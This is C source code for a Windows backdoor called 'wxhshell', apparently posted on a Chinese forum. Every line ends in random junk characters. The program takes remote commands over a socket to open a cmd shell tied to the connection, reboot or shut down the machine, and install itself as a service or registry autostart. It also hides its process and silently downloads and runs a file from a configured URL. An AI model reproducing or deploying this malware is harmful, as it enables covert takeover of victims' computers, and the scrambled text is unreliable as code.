  // 帮助 cZ!s/^o?f  
  case '?': { \aZ(@eF@@Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); doR'=@ W  
    break; rIb[gm)Rk  
  }  ~M'\9  
  // 安装 j^%i?BWw  
  case 'i': { btOTDqG`a  
    if(Install()) =H,cwSE+%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7xp<=  
    else CMBW]b|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <go~WpA|r  
    break; qz0v1057#  
    } 4[J3HLQ  
  // 卸载 xu:m~8%  
  case 'r': { g Go  
    if(Uninstall()) #h3+T*5} 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4{vd6T}V!  
    else \PLV]%3,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <;6])  
    break; b<F 4_WF  
    } bf74 "  
  // 显示 wxhshell 所在路径 :T\WYKX3C  
  case 'p': { QhGg^h%6  
    char svExeFile[MAX_PATH]; G wW#Ww;Oc  
    strcpy(svExeFile,"\n\r"); kQ#eWk J,  
      strcat(svExeFile,ExeFile); 4C*3#/TR  
        send(wsh,svExeFile,strlen(svExeFile),0); @l(Y6m|v\  
    break; jYy0^)6X(  
    } 4iLU "~  
  // 重启 iO!lG  
  case 'b': { ,{Ab=xV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dJLJh*=AG  
    if(Boot(REBOOT)) 6 gKOpa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z$Nk\9wm  
    else { kH&ZPAI  
    closesocket(wsh); fjWh}w8  
    ExitThread(0); gNqV>p  
    } vfv5ex(  
    break; '.K,EM!-~h  
    } Wl#^Eu\g1W  
  // 关机 {;4PP463  
  case 'd': { q9 ;\B&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b;t]k9:"L  
    if(Boot(SHUTDOWN)) -Y[-t;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t~M<j| ]k  
    else { y[|g!9Rp  
    closesocket(wsh); v)d0MxSC  
    ExitThread(0); <=inogf  
    } T8441qo{>  
    break; <dN=d3S  
    } iCK$ o_`?  
  // 获取shell O5{XT]:  
  case 's': { x5|v# -F ^  
    CmdShell(wsh); ;Bb5KD  
    closesocket(wsh); vUK>4^{J5  
    ExitThread(0); <kSaSW  
    break; h]Oplp4 \W  
  } :7ngVc  
  // 退出 # 0!IUSa  
  case 'x': { "B}08C,?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O0{  
    CloseIt(wsh); A C^[3  
    break; }}1/Ede{5  
    } =| !~0O  
  // 离开 ~1'468  
  case 'q': { U9 59=e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cx,A.Lc  
    closesocket(wsh); +lT]s#Fif  
    WSACleanup(); w Y. g- 3  
    exit(1); i/J NG  
    break; %^l&fM*  
        } u}1vn}F{  
  } )/Xrhhx  
  } \!QF9dP4  
=Yj[MVn  
  // 提示信息 lkZC?--H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5 WppV3;  
} u-9t s  
  } _;q-+"6L;  
`fkri k  
  return; %'T>kz*A  
} @L!#i*> 9  
W[>TqT63  
// shell模块句柄 |I}+!DDuv  
int CmdShell(SOCKET sock) SU'1#$69F  
{ m[{&xF|_  
STARTUPINFO si; DP_Pqn8p&M  
ZeroMemory(&si,sizeof(si)); iFCH$!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I|IlFu?O=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (A'q@-XQ  
PROCESS_INFORMATION ProcessInfo; <e&QTyb  
char cmdline[]="cmd"; aTh%oBrtP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s~$4bN>LD  
  return 0; (YJ AT  
} #=H}6!18  
JX)z<Dz$  
// 自身启动模式 Cj1UD;  
int StartFromService(void) B ^(rUR  
{ $l;tP  
typedef struct  DiQkT R  
{  GQ0(&I  
  DWORD ExitStatus; W79A4l<  
  DWORD PebBaseAddress; c '+r[rSn1  
  DWORD AffinityMask; ;]M67ma7C  
  DWORD BasePriority; 'D"K`Vw  
  ULONG UniqueProcessId; R[9PFMn  
  ULONG InheritedFromUniqueProcessId; (MoTG^MrBY  
}   PROCESS_BASIC_INFORMATION; '%!M>rY,  
6J-}&U  
PROCNTQSIP NtQueryInformationProcess; eH!|MHe  
$ XsQ e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IaTq4rt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  "$Iw Q  
j'*p  
  HANDLE             hProcess; x\hn;i<  
  PROCESS_BASIC_INFORMATION pbi; !J=;Z9  
WQLL[{mhS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TJ[jZuT:  
  if(NULL == hInst ) return 0; 0*;9CH=BE  
:5K ~/=6x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f76|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6>BDA?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kw^Dp[8X  
@!a]qAt  
  if (!NtQueryInformationProcess) return 0; T7,Gf({  
v~2XGm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Df,VV+  
  if(!hProcess) return 0; Px7g\[]  
inv{dg/2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _d0-%B 9m  
dezL{:Ya  
  CloseHandle(hProcess); Vc52s+7=8  
b)hOzx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HA.NZkq.tV  
if(hProcess==NULL) return 0; gqdB!l4  
K aQq[a  
HMODULE hMod; :y-0qz D?  
char procName[255]; DET!br'z5  
unsigned long cbNeeded; 'Tf#S@o  
30(m-D$K>9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3Ra\2(bR  
S[hJ{0V  
  CloseHandle(hProcess); E"1 ;i  
]b~2Dap  
if(strstr(procName,"services")) return 1; // 以服务启动 YV3TxvXMR  
h,'mN\6t  
  return 0; // 注册表启动 ~\:j9cC  
} Bx}0E  
LJNie*  
// 主模块 8X ?GY8W:  
int StartWxhshell(LPSTR lpCmdLine) KYRm Ui#  
{ !:5`im;i  
  SOCKET wsl; K?Xo3W%K  
BOOL val=TRUE; 0o=6A<#x  
  int port=0; K]pKe" M  
  struct sockaddr_in door; P$6f+{  
p]V-<  
  if(wscfg.ws_autoins) Install(); R#7+  
&X]=Q pl  
port=atoi(lpCmdLine); ,4>WLJDo  
BtpjQNN  
if(port<=0) port=wscfg.ws_port; x:n9dm  
 TCKI  
  WSADATA data; 2 .Eu+*UC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >.O*gv/ _  
ok>P [ &!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `m@]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #1jtprc  
  door.sin_family = AF_INET; ,'1Olu{v[s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a._^E/EV  
  door.sin_port = htons(port); %$Jq t  
W]!@Zlal  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l\sS?  
closesocket(wsl); 2 -p  
return 1; jgo<#AJ/E  
} f.$aFOn  
^!o1l-Y^gr  
  if(listen(wsl,2) == INVALID_SOCKET) { !7kLFW  
closesocket(wsl); KXx@ {cv  
return 1; PQ&Q71  
} /_:T\`5uO  
  Wxhshell(wsl); DUuC3^R  
  WSACleanup(); {glqWFT  
A"BtVy[[9  
return 0; tJ h3$K\  
v/aPiFlw  
} KT lP:pB;  
=!g/2;-or  
// 以NT服务方式启动 ph8Jn+|E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |>IUtUg\  
{ 0?6 If+AC  
DWORD   status = 0; Ukh$`q}  
  DWORD   specificError = 0xfffffff; ER;lkF`RF  
/H%<oAjp6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3I;xU(rv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N o_$!)J.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^z*):e  
  serviceStatus.dwWin32ExitCode     = 0; 5!SoN}$  
  serviceStatus.dwServiceSpecificExitCode = 0; /Oq)3fU e  
  serviceStatus.dwCheckPoint       = 0; 2Z/][?Jj{  
  serviceStatus.dwWaitHint       = 0; \f /!  
rF8W(E_=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }1a<{&  
  if (hServiceStatusHandle==0) return; ?`N57'iPb  
l`v +sV^1  
status = GetLastError(); _>gXNS r4u  
  if (status!=NO_ERROR) \tiUE E|k  
{ g:uvoMUD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a+YR5*&[OO  
    serviceStatus.dwCheckPoint       = 0;  4]DAh  
    serviceStatus.dwWaitHint       = 0; z\Pe{J  
    serviceStatus.dwWin32ExitCode     = status; {8!ZKlB  
    serviceStatus.dwServiceSpecificExitCode = specificError; {?@t/.4[W3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;o-\.=l  
    return; .Ca"$2  
  } "}'8`k+d  
g+>=C   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P0'e"\$  
  serviceStatus.dwCheckPoint       = 0; H})Dcg3  
  serviceStatus.dwWaitHint       = 0; i14[3bPLk!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7x[LF ^o  
} IdV,%d{  
 !fQJL   
// 处理NT服务事件,比如:启动、停止  .6O52E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H )BOSZD  
{ ), nCq^Bp  
switch(fdwControl) iA55yT+  
{ IgPV#  
case SERVICE_CONTROL_STOP: V-D}U$fw  
  serviceStatus.dwWin32ExitCode = 0; 9SRfjS{7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %XEKhy  
  serviceStatus.dwCheckPoint   = 0; 0On? {Bw  
  serviceStatus.dwWaitHint     = 0; qYgwyj=4  
  { kfMhw M8kP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QHHW(InG<  
  } ZdE>C   
  return; (R4PD  
case SERVICE_CONTROL_PAUSE: sBP}n.#$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5cyddlaat  
  break; o }9M`[  
case SERVICE_CONTROL_CONTINUE: _'! aj +{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &\;<t, 3A~  
  break; T[5gom  
case SERVICE_CONTROL_INTERROGATE: pY+.SuM  
  break; 7ei>L]gm%  
}; Q!4i_)rM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ${A5-  
} G0_&gx`  
"rme~w Di  
// 标准应用程序主函数 g".d"d{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :V&N\>Wo  
{ [D*J[?yt  
uL2"StW  
// 获取操作系统版本 {Oy9RES qc  
OsIsNt=GetOsVer(); Q0pC4WJ`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dO>k5!ge|:  
ZWf-X  
  // 从命令行安装 AuoxZ?V  
  if(strpbrk(lpCmdLine,"iI")) Install(); <U@P=G<t  
cvZni#o2)  
  // 下载执行文件 ;EgzC^2e  
if(wscfg.ws_downexe) { IZv~[vi_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aQ(`6DQv  
  WinExec(wscfg.ws_filenam,SW_HIDE); ( MB`hk-d  
} l% rx#;=u  
@bY('gC,  
if(!OsIsNt) { g d z  
// 如果时win9x,隐藏进程并且设置为注册表启动 }X=87ud  
HideProc(); %oAL  
StartWxhshell(lpCmdLine); _Ny8j~  
} ,5/V@;i  
else Hl4\M]]/&  
  if(StartFromService()) G7 1U7  
  // 以服务方式启动 ;4!=DFbU  
  StartServiceCtrlDispatcher(DispatchTable); BR;QY1  
else pJd0k"{  
  // 普通方式启动 |</"N-#S  
  StartWxhshell(lpCmdLine); 'g]hmE  
I[ai:   
return 0; 2-~a P  
}
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只看该作者 1 发表于: 2006-10-10
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